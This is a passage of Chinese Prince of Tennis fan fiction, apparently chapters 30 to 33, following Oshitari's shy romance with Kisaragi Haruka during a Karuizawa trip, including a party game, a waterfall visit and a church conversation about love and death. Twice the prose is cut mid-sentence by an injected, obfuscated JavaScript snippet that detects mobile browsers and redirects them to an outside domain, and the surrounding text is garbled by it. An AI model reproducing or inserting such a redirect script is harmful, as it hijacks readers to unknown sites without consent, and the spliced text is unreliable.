忍足早就看穿了迹部那华丽表象下的“险恶用心”,那眼神分明在说“你小子就好好感谢本大爷吧”。 他慢慢张开手臂,姿态带着一种刻意的沉稳,声音放得低沉而温和:“大小姐,”他看着她近在咫尺的面容,“搭着我点。” 他顿了顿,像是在陈述一个事实,又像是在给自己打气:“我……挺稳的。” 如月遥没有立刻动作,静静地盯着忍足看了足足三秒钟。带着一种无形的审视压力,仿佛在评估他“挺稳”这句话的可信度。 三秒后,她吸了一口气,如同下定了某种决心。 然后,在所有人屏息凝神的注视下,她默默地抬起了右脚。 那只赤裸的、白皙到晃眼的脚踝抬起,小巧圆润的脚趾微微蜷起,然后轻轻地、带着一丝试探性的冰凉和柔软的触感,落在了忍足穿着薄袜的左脚脚背上。 忍足只觉得一股奇异的电流瞬间从脚背窜遍了全身。 “我要用力踩了。” 如月遥的声音带着点例行公事的提醒。 “……嗯。”忍足从喉咙深处发出一声短促的应答,强行绷紧全身的肌肉,尤其是核心和下盘,努力压下那颗在胸腔里狂乱蹦跳、几乎要冲破喉咙的心脏。 下一秒,忍足只觉得左脚脚背的重量骤然增加,紧接着,她的右脚也稳稳地、带着不容忽视的力道,落在了他的脚背上, 那双冰冷又柔软,带着她独特体温的双足,就这样,完完全全地、踏实地踩在了他的脚背上。 一股冷冽的雪松气息,毫无防备地、强势地侵入忍足的感官。 近得仿佛融入了他的每一次呼吸,近得他能清晰地感受到她轻盈身躯传来的微微热度。 如 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他深吸一口气,强迫自己忽略脚背上那冰火两重天的奇异感受,忽略鼻尖萦绕的清冷香气,忽略肩膀上那两只攀附的手…… 低沉而带着沙哑嗓音,在如月遥的头顶轻轻响起,温热的气息拂过她的发顶:“跟着我动。” 他艰难地开口,试图让自己的声音听起来平稳,“先提左脚。” 忍足全身的肌肉都绷得像石头,脸上努力维持着镇定的表情,目光死死地平视前方,不敢有丝毫下移。 然而,余光却将那群损友们促狭、看好戏、忍笑忍到内伤的精彩表情一个不落地尽收眼底。 这群家伙……忍足咬牙切齿。 他开始极其缓慢地、小心翼翼地提起左脚,脚背上承载的重量让他动作有些滞涩。 他能清晰地感受到如月身体的微微晃动,和他脚背上那双小巧裸足的细微调整。每一次微小的重心转移,都牵扯着他紧绷的神经。 如月攀着他肩膀的手也下意识地收紧了些,指尖隔着真丝睡衣传来温热的力道。她似乎也在努力配合他的节奏,身体微微前倾,贴得更近了一点。 雪松的气息更加浓郁了。 忍足只觉得自己的理智在悬崖边缘摇摇欲坠。 他僵硬地迈出第一步。 然后是右脚。 动作笨拙又缓慢,如同生了锈的机器人。 “噗……”不知是谁先憋不住笑出了声。 “忍足……你是在月球漫步吗?”宍户毫不留情地吐槽。 “慢点!稳点!哎哟喂!”向日岳人夸张地喊着。 忍足充耳不闻,全部的意志力都用来对抗脚背上那致命的柔软和冰凉的触感,以及近在咫尺的馨香和体温。 他一步一步,如同蜗牛爬行般,艰难却又极其稳定地,踩着微凉的榻榻米,朝着既定的方向移动。 怀中的人攀着他的肩膀,随着他的步伐轻轻摇晃。那份重量和温度是如此真实,又是如此令人心旌摇曳。 一步,两步…… 离终点越来越近。 就在忍足紧绷的神经快要到达极限时,一个极其细微的异样吸引了他的全部注意。 他不敢低头看她的脸,目光只能平视前方。 但就在他视线下方,那被发丝遮掩着的耳朵,原本如玉般白皙,此刻如同洁白的宣纸晕染开最娇嫩的樱粉,一点一点清晰地蔓延开来,染红了整个耳朵。 那片粉红是如此鲜活,如此突兀地出现在她清冷如冰的侧影上。 忍足的心跳仿佛漏跳了一拍。 大小姐…… 她…… 在害羞吗? 这个认知如同最强烈的电流,瞬间击穿了忍足所有的伪装,脚下的步伐一个不稳,两人踉跄了一下。 “啊!”如月遥低呼一声,攀着他肩膀的手猛地收紧,身体瞬间贴得更紧。 雪松气息混合着她身上独特的馨香,如同汹涌的浪潮,将忍足彻底淹没,脚背上那柔嫩的触感,肩膀上紧抓的力道,腰侧虚扶处真丝光滑的微凉,还有鼻尖这致命的香气。 忍足的大脑彻底一片空白。 他只能凭着本能,下意识地收紧了虚扶在她腰侧的手臂,将她更稳地圈进自己怀里。 这一瞬间的亲密接触,让整个和室爆发出前所未有的、几乎掀翻屋顶的尖叫和口哨声。 “哇哦——!!!” “抱住了抱住了!” “忍足!干得漂亮!” “啊啊啊!磕死我了!” 在这片爆炸般的喧闹声中,在迹部景吾那“一切尽在掌握”的华丽笑容里,在如月遥那粉红欲滴的耳尖映照下。 忍足侑士僵硬地抱着怀中的人,脚步停在距离终点线仅一步之遥的地方。那张强装了许久镇定的俊脸,终于再也绷不住,如同煮熟的虾子般,瞬间红了个彻底! 理智告诉他,要放手,要站稳,要走完最后一步…… 情感却在疯狂呐喊,别动!就这样!抱紧她! 冰与火的煎熬,甜蜜的酷刑在这一刻达到了顶峰。 31. 第 31 章 喧嚣被厚重的木门隔绝在身后。 忍足侑士几乎是逃也似的冲进别墅侧翼安静的走廊,冰凉的夜风从敞开的窗户灌入,却丝毫吹不散他脸上滚烫的热度。 他冲进最近的盥洗室,拧开水龙头,掬起一捧又一捧冰冷的自来水,狠狠地拍在自己烧得通红的脸上。 水流短暂地麻痹了皮肤,却浇不灭胸腔里那颗依旧在疯狂擂动、如同脱缰野马的心脏。 脚背上冰冷柔软的触感,鼻尖萦绕不散的雪松冷香,肩膀上攀附的力道,腰侧虚扶处真丝滑过的微凉。 还有最后那一刻,怀中温软身躯紧贴的悸动,以及那抹染红了她整个耳廓的、惊心动魄的粉霞,所有感官的碎片如同沸腾的岩浆,在他脑海中反复灼烧翻腾。 “哗啦——” 又是一捧冷水泼在脸上,水滴顺着发梢和下颌不断滴落。 他撑着冰冷的洗手台,看着镜子里那个狼狈不堪、面红耳赤、眼神慌乱如同情窦初开毛头小子的自己,只觉得陌生又可笑。 就在这时,盥洗室的门被推开。 迹部倚在门框上,看着他此刻狼狈的样子。 “啊嗯?,降温效果如何?忍足。” 他慢悠悠地踱步进来,姿态优雅地靠在洗手台边,目光扫过忍足还在滴水的脸和通红的耳根,“本大爷这份助攻……” 迹部微微倾身,声音压低,带着点邀功的意味,“还满意吗?” “比起你那些偷偷摸摸、一点都不华丽的暗恋小动作,是不是进展瞬间快多了?” 忍足关掉水龙头,扯过旁边的纸巾胡乱地擦着脸和头发上的水珠。 冰凉的水珠和纸巾的摩擦感让他稍微找回了一点理智。他抬起头,透过湿漉漉的额发看向迹部,眼神复杂,有感激,有无奈,还有一丝被看穿的窘迫。 “……啊。”他声音带着点水汽的沙哑,最终化作一声认命的叹息。 “呵。”迹部发出一声轻笑,带着点嫌弃地上下打量忍足,“看看你现在这副样子……” “脸红得比喝了一瓶酒还夸张,心跳声本大爷在门外都听见了。” 他微微挑眉,语气带着点恨铁不成钢的对比:“再看看人家大小姐,虽然耳朵红了点,但至少表面稳如泰山。你……”迹部华丽地摇头,“太不华丽了。” 忍足无奈地苦笑,将湿透的纸巾揉成一团扔进垃圾桶,声音带着点自嘲的坦诚:“本来就是情窦初开啊……” 他推了推眼镜,镜片后的目光有些飘忽,带着特有的青涩,“是初恋呢。” “那正好。”他一拍忍足的肩膀,声音带着不容置疑的蛊惑,“现在气氛这么好,天时地利人和。趁着刚才那点‘亲密接触’的余温……” 迹部指点江山地催促: “直接拉着如月去表白。” “表……表白?!”忍足被迹部这石破天惊的提议吓得差点跳起来。 刚刚稍微平复一点的心跳瞬间又飙到了180,他瞪大眼睛看着迹部,仿佛对方在说什么天方夜谭,“现……现在直接去?” “啊嗯?不然呢?”迹部双手抱胸,语气带着理所当然的自信,“本大爷的判断力你还不信?如月对你……” 他顿了顿,眼眸里闪烁着洞察的光芒,“绝对和别人不一样。” 忍足的心猛地一缩,他像是抓住了救命稻草,急切地追问,“你……你从哪里看出来的?” 他需要证据! 需要支撑这巨大希望的证据! 迹部轻哼,“怀疑本大爷的判断力?” “不然……” “你现在就去问问她……” 迹部的声音带着恶魔般的诱惑和精准的打击: “为什么她的手机联系人名单里……” “排在第一位的名字……” “会是‘忍足侑士’?” 如同惊雷在忍足脑海中炸开。 联系人……第一名……忍足侑士。 抽乌龟惩罚时,她捏着耳垂,用最温柔的声音喊出的那个名字,那个被他刻进灵魂深处的记忆画面。 是啊!为什么?为什么是他? 为什么是“忍足侑士”排在第一? “希望”的火焰瞬间在忍足胸腔里熊熊燃烧,几乎要将他整个人点燃。然而,狂喜过后,不安和患得患失瞬间又将他淹没。 万一…… 万一她只是因为玩游戏才那样呢? 万一她只是觉得他的名字好念? 万一她只是把他当成一个稍微特别一点的……朋友? 直接告白?在这样毫无准备的情况下? 万一吓到她怎么办? 万一她拒绝…… 万一连现在这种“纵容”和“靠近”都失去…… “不行!”忍足猛地摇头,声音带着一丝不易察觉的慌乱,“太…太唐突了!万一……万一她只是因为玩游戏才……” 他不敢说下去,眼神里充满了挣扎和不确定,“这……这太冒险了!” “呵!”迹部看着忍足这副瞻前顾后、畏首畏尾的样子,发出一声毫不留情的嗤笑。 “没救了。”迹部转身,修长的手指嫌弃地掸了掸并不存在的灰尘。 “你就抱着你那点不华丽的暗恋……” “继续当你的缩头乌龟吧。” 华丽的身影带着恨铁不成钢的意味,头也不回地离开了盥洗室,只留下忍足侑士一个人,僵立在冰冷的洗手台前。 镜子里,映出他依旧泛红的脸颊,湿漉漉的头发,以及那双充满了喜悦、惶恐、和挣扎的、如同困兽般的眼睛。 迹部的话如同魔咒般在他脑中回响。 冰与火的煎熬,甜蜜与恐惧的拉扯,几乎要将他的理智撕裂。 他该怎么办? 他该相信迹部的判断,去赌一把那巨大的、诱人的可能? 还是继续龟缩在自己小心翼翼构筑的、名为“暗恋”的安全区里,守着那一点点可怜的“纵容”? 盥洗室里只剩下水龙头滴水的滴答声,和他胸腔里那如同战鼓般、激烈搏动的心跳。 轻井沢的夏夜似乎格外漫长。 忍足侑士躺在客房的柔软床铺上,窗外的月光清冷地洒在地板上,勾勒出窗棂的轮廓。然而,他的思绪却如同被投入沸水的茶叶,翻腾不息,毫无睡意。 耳畔,仿佛还清晰地回荡着那声羽毛般轻柔的“忍足侑士”,带着前所未有的温柔,穿透了和室的喧嚣,直抵他灵魂深处。 脚背上,那份冰冷又柔软的触感似乎烙印在了皮肤上,每一次神经末梢的细微跳动都提醒着他方才那令人窒息的亲密。 鼻尖,更是萦绕着挥之不去的雪松冷香,清冽幽远,带着她独有的气息,让他沉沦,让他心尖发颤。 更折磨人的,是迹部景吾的建议直接告白会不会吓到她? 万一连朋友都做不成? 两种截然相反的力量在他胸腔里激烈撕扯、拉锯,每一次心跳都伴随着甜蜜的煎熬和痛苦的犹豫。 他烦躁地翻了个身,把脸埋进枕头里,又猛地翻回来,盯着天花板上月光投下的模糊光影。 黑暗中,他忍不住摸出手机。 屏幕亮起,柔和的光线映亮了他写满挣扎的脸。 通讯录页面,置顶的位置,那个孤月头像静静地悬挂着。 【Moon】。 如同夜空里唯一的光源,悬在他世界的顶端,清冷、遥远、却又带着致命的吸引力。 忍足长长地、无声地叹了口气。 纯爱小说里都是怎么写的? 该怎么才能把这份快要将他灼烧殆尽的心意,准确、又不至于唐突地传递给她呢? 他烦躁地抓了抓头发,再次翻了个身,把被子蒙过头顶。 窗外,月亮依旧高悬。 他心里的月亮,也那样悬着,皎洁又遥不可及。 这一夜,注定是个辗转反侧、心绪纷乱的不眠之夜。 清晨的阳光透过轻井沢森林的缝隙洒下,带着清新的草木气息,稍稍驱散了忍足眼底的疲惫。一行人整装出发,前往著名的云场池和白丝瀑布。 云场池如同一面镶嵌在森林中的翡翠镜子,倒映着蓝天白云和苍翠的山峦,宁静而幽美。 微风拂过湖面,漾起细碎的波纹,带来沁人心脾的凉意。忍足的目光却总是不自觉地飘向走在稍前方的那个身影。 白丝瀑布并非想象中那种气势磅礴、飞流直下的壮观景象。 它更像一条从山崖间垂落的、纤细柔美的白色丝绦,水流并不湍急,而是以一种优雅的姿态,轻盈地滑过青苔覆盖的岩石,最终落入清澈的潭中,溅起细密如雾的水珠。 如月站在观景台前,仰头看着这条“丝绦”,毫不掩饰地流露出为失望的情绪。 她微微蹙眉,声音带着满满的疑惑: “这是……瀑布?” “……还挺别致的。” 语气里那点“就这?”的意味相当明显,显然,她脑中的参照物是黄河壶口瀑布那种级别的存在。 忍足闻言,嘴角忍不住上扬。她这种带着点小挑剔的直白,此刻在他眼里也显得格外可爱。 细密的水雾被山风挟裹着,轻柔地拂过众人的脸颊,带来丝丝缕缕的清凉。如月遥感受着水珠落在皮肤上的微凉触感,几不可察地了站在水眯雾氤氲。 “如月小姐,”忍足的声音适时响起,带着试探和期待,“要不要……拍张照留念?”他指了指眼前的瀑布和弥漫的水雾。 如月遥闻声转过头,目光落在忍足脸上。“行吧。” 得到应允,忍足立刻拿出手机,走到合适的角度,没有丝毫犹豫地就单膝半跪了下去。 姿势专业而流畅,取景框里完美地框住了瀑布、水雾和那个清丽脱俗的身影。 “哟呵!”向日岳人眼尖,立刻捕捉到了这一幕,夸张地怪叫起来,“侑士!你这拍照姿势什么时候练得这么专业了?” “简直像职业摄影师啊~”他挤眉弄眼地调侃着。 忍足充耳不闻,专注地按下了快门。 咔嚓几声后,他站起身,走到如月遥身边,将手机屏幕递到她面前,声音放眼得轻柔:“看看效果?” 照片拍得很不错,水雾朦胧,瀑布如练,她站在其中,清冷的气质与自然的空灵相得益彰。 “不错。”照片的美感似乎冲淡了她对瀑布“别致”规模的失望。 这时,忍足才慢悠悠地抬起头,目光转向还在怪笑的向日,推了推眼镜,镜片后的眼神带着促狭的笑意,慢条斯理地回敬道,“岳人,要不要也帮你拍一张?” 故意拉长了语调精准打击,“保证把你拍出一米八的效果。” “噗——!”旁边的宍户亮直接笑喷。 “噗嗤!”连水谷雅子都忍不住笑出声。 “一米八?!”向日如同被踩了尾巴的猫,瞬间炸毛,他的身高可是绝对的雷区。 “忍足侑士!你这个见色忘友的家伙!我跟你拼了!”他张牙舞爪地就要扑过来。 “哇!向日前辈冷静!” “冷静啊!” 凤长太郎和日吉若眼疾手快,一左一右,手忙脚乱地架住了暴跳如雷的向日岳人,死死捂住了他那张即将喷出火焰的嘴! “唔唔唔——!!!”向日岳人被捂着嘴,只能发出愤怒的呜咽,双脚还在空中徒劳地乱蹬。 忍足看着被“镇压”的向日,脸上露出了一个极其欠揍的、胜利者的笑容。 如月脸上没什么表情,但忍足似乎捕捉到她唇角极其细微地向上弯了一下。 那弧度快得如同错觉,却像投入湖心的一颗石子,在忍足依旧纷乱的心湖里,再次漾开了层层涟漪。 山风裹挟着瀑布的水汽拂面而过,带着森林的凉意和草木的芬芳。 忍足看着眼前在薄雾中更显清冷的身影,昨夜那些纷乱的思绪和迹部蛊惑的话语,再次翻涌上来。 他该……怎么办? 一行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526633|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人离开白丝瀑布,前往高原教堂。 高原教堂坐落在轻井沢葱郁的森林之中,深棕色的木质结构与尖顶在阳光下散发着温暖又神圣的气息。 作为著名的“结婚圣地”,这里吸引了不少情侣和寻求灵感的艺术家。 水谷雅子一到达就兴奋地欢呼起来,像个雀跃的小鸟:“太棒了!就是这里!” 她张开双臂,仿佛要拥抱这梦幻般的氛围,“最近有个国际婚纱设计比赛,我超想参加的!这次来轻井沢,目标就是这几个有名的教堂!” 她的眼睛亮晶晶的,充满了创作的激情,“结婚圣地什么的,果然名不虚传!氛围感太足了!” 千叶纱织和佐藤明美也被这浪漫宁静的氛围感染,脸上露出向往的笑容。女生们感兴趣,男生们自然没有异议地跟上,权当是欣赏风景。 泷荻之介站在千叶纱织身边,看着眼前风格独特的教堂,状似不经意地低声问道:“纱织喜欢这种风格吗?” “如果喜欢的话,以后我们……” 后面的话他没说完,但那意思已经不言而喻。 千叶纱织脸颊微红,看向泷荻之介,眼神温柔而笃定,轻轻点了点头:“嗯,喜欢。” 她顿了顿,补充道,“好的。” “哇哦——!!!” “泷!你小子!” “好事将近啊!” “什么时候求婚?!” 泷和千叶这心照不宣的默契互动,瞬间引来了众人善意的起哄和调侃。 泷荻之介难得地有些不好意思,千叶也笑着低下头,气氛温馨又甜蜜。 “千叶!”水谷雅子立刻抓住机会,热情地凑过去,“等我设计出参赛作品,你可以参考一下啊~说不定……嘿嘿……”她狡黠地眨眨眼,暗示意味十足。 千叶笑着回应:“那太好了,期待你的大作!” 水谷雅子得到肯定,更加兴奋,目光一转,极其自然地将站在一旁的如月遥的胳膊挽得更紧了些:“没问题!有我的缪斯女神如月同学在这里,我的灵感简直源源不断!根本停不下来!”她亲昵地摇晃着如月遥的手臂。 如月遥被她挽着胳膊,身体几不可察地僵了一下。换做平时,她早已不动声色地抽回手。 但此刻,看着水谷雅子那纯粹的热情和那张酷似故人的脸庞,她只是微微蹙了下眉,终究没有抽回自己的手臂,任由水谷雅子挽着。 她看着被众人打趣、面带羞涩却难掩幸福的泷和千叶,清泠的声音带着一丝探究,突兀地响起:“日本人……结婚都这么早吗?” 目光在泷和千叶身上扫过,语气疑惑: “我记得你们还没大学毕业?” 水谷雅子立刻热情地科普,“在日本,只要年满18岁就可以去区役所登记结婚领证啦!” 她好奇地反问如月遥,“中国那边呢?” 如月遥的目光投向远方教堂的尖顶,声音平静地回答道:“从法律上讲,中国女性需要满20周岁,男性需要满22周岁才可以登记结婚。” “但现实中一般都不会这么早结婚。” 思索了一下,给出了一个在她认知里比较普遍的时间点:“大概二十六七岁左右,才会开始考虑婚姻问题。” “现在选择不结婚的人也很多。” “二十六七岁?”凤长太郎温和的脸上露出惊讶的表情,“为什么会这么晚才开始考虑呢?都不谈恋爱吗?” 如月遥的目光转向凤长太郎,平静地解释道: “因为在中国,结婚……” 她的声音很稳,像是在分析一项复杂的商业并购案,“远不只是两个人互相喜欢那么简单。” 她的目光重新投向那座象征神圣结合的教堂,语气带着一种洞悉世事的通透和:“是一件很烦的事。” “需要仔细考虑两个家族能否真正融合,观念是否匹配。” “物质条件是非常现实的考量因素,包括房产、收入、以及……” 她顿了顿,用了一个非常本土化的词汇,“嫁娶彩礼、嫁妆之类。” “婚前协议的签署也变得越来越普遍,涉及财产分割、债务归属……” “甚至关于未来子女的姓氏、抚养方式、教育投入……都需要在婚前协商妥当。” 她最后总结道,语气带着一种“必须步步为营”的现实感:“只有所有这些都谈妥了,双方才能稍微安心一点。” 一番冷静、清晰、甚至带着点冰冷的分析,如同给刚才弥漫的浪漫甜蜜氛围泼了一盆理性的冷水。 众人听着,表情各异。 水谷雅子若有所思地点头,佐藤和千叶对视一眼,似乎也想到了现实的复杂。泷荻之介的表情也变得更加认真。 站在如月遥侧后方的忍足侑士,默默地听着她条理分明的阐述,镜片后的眸光变得深邃而复杂。 二十六七岁…… 家族融合…… 物质考量…… 彩礼嫁妆…… 婚前协议…… 每一个词,都像一块沉重的石头,轻轻敲打在他那颗刚刚被巨大希望填满、又被迹部蛊惑得蠢蠢欲动的心上。 她说的没错,这才是现实世界。 尤其是对于她这样的家族背景…… 忍足只觉得一股无形的压力悄然笼罩下来。他下意识地想到了东京那座戒备森严、如同堡垒般的如月宅。 那不仅仅是如月遥的居所,更是庞大的如月权力中心的象征。 想要靠近她,甚至更进一步,仅仅靠“喜欢”和“悸动”,真的足够吗? 就在这时,一道带着洞察的目光落在了忍足身上。 迹部景吾不知何时踱步到了忍足身边,眼眸扫过他若有所思、甚至带着点凝重神情的侧脸,又瞥了一眼依旧平静阐述着婚姻现实的如月遥。 他没有说话,只是用眼神传递了一个清晰无比的信息:自求多福吧,忍足。 忍足接收到了迹部的目光,嘴角微微抽搐了一下,只觉得胸口那股无形的压力更重了。 32. 第 32 章 阳光透过教堂彩绘玻璃窗投射下斑斓的光影,空气中弥漫着森林和木头的清新气息。 教堂外,象征纯洁爱情的白色玫瑰静静绽放。 而在忍足侑士心中,爱情的憧憬与冰冷的现实,如同冰火交织,让他刚刚雀跃起来的心,再次沉甸甸地坠了下去。 他的月亮,悬挂在一片他需要翻越重重现实高山才能触及的天空。 水谷雅子甩了甩头,抛开了那些世俗的理性思考,单纯地追问,“如果如月同学遇到了很喜欢的人呢?会为此不顾一切吗?” 如同投入平静湖面的石子,打破了如月遥冷静分析婚姻现实后留下的理性氛围。 忍足侑士几乎是瞬间竖起了耳朵,所有的感官都集中到了她身上,心脏在胸腔里擂鼓,仿佛等待着一个关乎命运的宣判。 如月遥被水谷雅子这突如其来的、充满浪漫主义色彩的追问弄得微微一怔。 面上掠过一丝茫然,似乎从未认真思考过这个问题。 她看着水谷雅子那双闪烁着期待光芒、如同等待童话结局的眼睛,下意识地反问了一句: “为爱不顾一切?” 她重复着这个对她而言有些陌生的词组,漂亮的眉毛微微蹙起,仿佛在努力理解其中的含义。 短暂的沉默,森林的风拂过她的发梢。 “不知道。” “我没谈过恋爱。” “也没想过这个问题。” 水谷雅子眼中的光芒似乎黯淡了一瞬,带着点艺术家理想幻灭的小失落:“诶……” 然而,如月遥的话并没有结束。 她的目光似乎飘向了更遥远的地方,仿佛在审视那些被世人歌颂了千百年的浪漫词汇本身。 她的声音带着一种近乎冷酷的理性剖析,“‘生死相随’、‘地老天荒’这样的词语……” 唇角极其轻微地向下撇了一下,带着明显的不认同。 “……未免太过理想化了。” 似乎在组织更精准的语言,她的目光重新聚焦,眼里闪烁着清醒的光芒,“爱不应该变成捆绑别人的借口。” 这句话如同冰凌,瞬间刺破了所有浪漫的幻想泡泡。 忍足的心猛地一缩! 捆绑? 借口? 如月遥没有看任何人,她的声音平静地在森林的微风中流淌,带着近乎悲悯的清醒: “如果我死了。” 她假设了一个极其残酷的场景,用最平静的语气说出最沉重的字眼。 “为什么要让他也跟我一起死,才算证明爱存在呢?” 每一个字,都像冰冷的雨点,敲打在忍足的心上,却又带着一种奇异的、撼动人心的力量。 她的目光仿佛穿透了眼前的教堂尖顶,看向了更广阔的时空。 “我更希望他能好好活下去。” 她的声音里带上了罕见的近乎温柔的向往。语气变得更加坚定,“代替我去看这世间我没来得及看的风光。” “去经历那些我没能经历的人生。” 最后,她的语气里带上了对世俗标准的批判: “而不是……” “为了世人感叹称颂的‘深情’标签……” “去做毫无意义的牺牲。” 她说这话的时候,脑海里似乎闪过模糊的影子,在她还很小甚至不记事的年纪里,那个模糊的名为父亲的身影。 话音落下。 森林的风似乎都停滞了一瞬。 阳光透过树叶的缝隙,在教堂前的空地上投下斑驳的光影。 水谷雅子张着嘴,久久说不出话来,眼神里充满了震撼和一种理想被现实击碎、却又被另一种更深沉力量所折服的复杂情绪。 凤长太郎和泷荻之介等人也陷入了沉思,佐藤和千叶若有所思地互看了一眼,连迹部景吾掠过一丝意外的赞赏。 而忍足侑士,站在那里,如同被一道无形的闪电击中灵魂。 他所有的忐忑、所有的患得患失、所有的青涩悸动在这一刻,都被如月遥这番话带来的巨大震颤所覆盖、所重塑。 不是捆绑…… 不是殉情…… 不是那些世人称颂的、华丽却空洞的标签…… 而是活下去! 带着对方的份,好好活下去! 去看她没看过的风景。 去经历她未能经历的人生。 这份清醒,这份通透,这份超越了生死、超越了世俗定义的深情,是如此冰冷,却又如此滚烫。 如此残酷,却又如此温柔。 忍足只觉得自己的胸腔像是被什么东西狠狠地填满了,让他爱慕的情感更加汹涌澎湃,铺天盖地裹挟着他。 他看着站在阳光与树影下的如月遥。 她依旧清冷,身姿挺拔,表情平静无波,但此刻,在忍足眼中,她仿佛披上了一层圣洁的光辉。 她的孤独,她的强大,她的清醒,她那深藏在冰层之下、不为人知的、如同深海般浩瀚的温柔,在这一刻,无比清晰地展露在他面前。 就在这时,如月遥似乎也感受到了他那过于炽热的目光。微微侧过头,眼眸看向忍足。 四目相对。 他看到那双总是平静又冷淡的眼眸里,清晰地映出了自己的倒影。 他只能用力地、死死地攥紧了自己的拳头,指甲深深陷进掌心,才能勉强维持住身体的站立,才不至于在巨大的情感洪流中失态倒下。 阳光透过教堂彩绘玻璃,在地面上投下斑斓的光影,森林的微风带着草木的芬芳。 忍足侑士站在那里,如同经历了一场灵魂的洗礼。 他看着如月遥平静转回头去的侧脸,只觉得眼前的世界从未如此清晰,也从未如此充满了一种沉甸甸的、名为“责任”和“向往”的光芒。 水谷雅子那被戳破的浪漫泡泡并未破碎,反而在冰冷又滚烫的生死宣言中,折射出更加奇异瑰丽的光彩,艺术家的眼眸爆发出惊人的光芒。 “跨越生死的爱……化□□人的眼睛……去看尽世间所有的美好和风光……” 她喃喃自语,如同被灵感闪电击中,飞快地从随身背包里抽出厚厚的素描本和炭笔,甚至顾不上找地方坐下,就倚着教堂古朴的木柱刷刷刷地勾勒起来。 指尖翻飞,炭笔在纸面上发出急促而富有韵律的沙沙声。 “太浪漫了!太震撼了!”她一边画,一边激动地抬头看向如月遥,声音带着颤抖的狂喜,“你真是我的灵感缪斯!无与伦比的缪斯女神!” 如月遥看着她这旁若无人的创作狂热,罕见地漾开一丝笑意。很浅,却如同冰封湖面裂开的第一道春痕。 她是想到了什么,语气带着点随意的分享,“似乎听过一个说法。” 声音清泠落下: “爱人的眼睛是世界第八大洋。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526634|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “啊——!!!!!!” 水谷雅子如同被点燃的烟花,瞬间爆发出更高亢的尖叫,她抱着素描本,激动得几乎要跳起来。 “世界第八大洋?!第八大洋!”她反复咀嚼着这几个字,眼中迸发出璀璨无比的灵感星火,“海洋!爱!无边无际!深邃浩瀚!包容万物!生生不息!” “啊啊啊啊!太完美了!太契合了!” 她完全沉浸在自己灵感爆发的世界里,抱着画本噼里啪啦地疯狂创作,嘴里还念念有词:“深海蓝……浪花的白……珍珠的光泽……眼睛的倒影……” 千叶看着这一幕,再看看旁边表情依旧清冷却带着纵容的如月,忍不住捂嘴轻笑,语气温柔又带着洞察:“如月同学看着总是冷冰冰的,拒人千里的样子……” 眼神里充满了真诚的欣赏,“但其实内心很温柔啊。” 佐藤明美也笑着点头赞同。 说笑了一阵,众人开始自由活动。 有人走进教堂内部欣赏全木质的精巧结构与宁静氛围,有人沿着林间小路散步,享受着森林的荫凉与清新空气。 忍足侑士的目光始终没有离开那个身影。 他看着她静静地站在教堂前的一小片空地上,目光似乎落在远处森林的深处,侧脸在斑驳的树影下显得格外沉静。 胸口那股被如月遥那番话彻底点燃、激荡翻涌、几乎要破膛而出的情意,如同汹涌的潮水,一次次冲击着他理智的堤坝。 他深吸一口气,林中带着草木清香的空气也无法平息内心的灼热。 忍足迈开脚步,悄无声息地走到如月遥身边,与她并肩而立。两人之间隔着一段不远不近、却足以感受到对方气息的距离。 沉默了片刻。 森林的风拂过树叶,发出沙沙的轻响。 忍足终于鼓起勇气,目光深深地凝视着如月遥沉静的侧脸。 他的声音低沉下来,是前所未有的郑重,每一个字都仿佛承载着千钧重量。 “如月小姐……”喉结微微滚动,像是在确认自己发出的声音。 “你刚才说的那些话……”他的目光灼热而专注,仿佛要将她此刻的样子镌刻进灵魂,“关于生死……关于爱……” “比我看过的任何一本纯爱小说都更令人感动。” 他用了“感动”这个词。 这不是华丽的辞藻堆砌,不是轻浮的赞美。 这是一个信奉理性的医学高材生,一个内心藏着温情的少年,在经历了灵魂深处的剧烈震颤后,所能找到的、最质朴也最厚重的表达。 他看着她,等待着她的回应。 林中细碎的光影在他镜片上跳跃,却掩不住镜片后那双眼睛里炽热而忐忑的光芒。 如月遥缓缓转过头。 脸上依旧是那副清冷平静的表情,如同深海之下的暗流,平静海面上的微澜。 她没有说话,森林的风裹挟着教堂的钟声拂过两人的发梢。 时间仿佛被拉长。 然而,她最终只是微微侧回了头,目光重新投向那片深邃的森林。 侧脸在树影下显得朦胧而遥远,长长的睫毛如同蝶翼般垂落,遮掩了她眼底所有的情绪。 她没有回应。 一个字也没有。 只有森林的风,依旧在他们之间无声地吹拂,树叶沙沙作响,仿佛在低语着什么。 33. 第 33 章 轻井沢的黄昏,夕阳的余晖将别墅染上一层温暖的金色。 饭后稍作休息,网球场上的灯光再次亮起,如同白昼。 球拍击球的脆响、球鞋摩擦的声音、兴奋的呼喊和调侃再次点燃了夏夜的活力。 忍足侑士正和宍户亮进行着一场激烈的底线拉锯战,汗水浸湿了额发,每一次精准的回球都引来阵阵喝彩。 就在比赛进行到白热化时,迹部家的管家步履沉稳地穿过草坪,走到了场边观战的迹部景吾身边,低声汇报了几句。 “啊嗯?谁来了?” 管家恭敬地回答:“是清水家的清水绫子小姐。她说是来找忍足少爷的。” 这个名字如同投入平静湖面的巨石,瞬间,整个网球场陷入了一片诡异的寂静。 球拍击球声消失。 呼喊声卡在喉咙里。 连呼吸声都仿佛被按下了暂停键。 忍足侑士刚刚完成一个漂亮的穿越球得分,脚步还停留在击球后的位置。 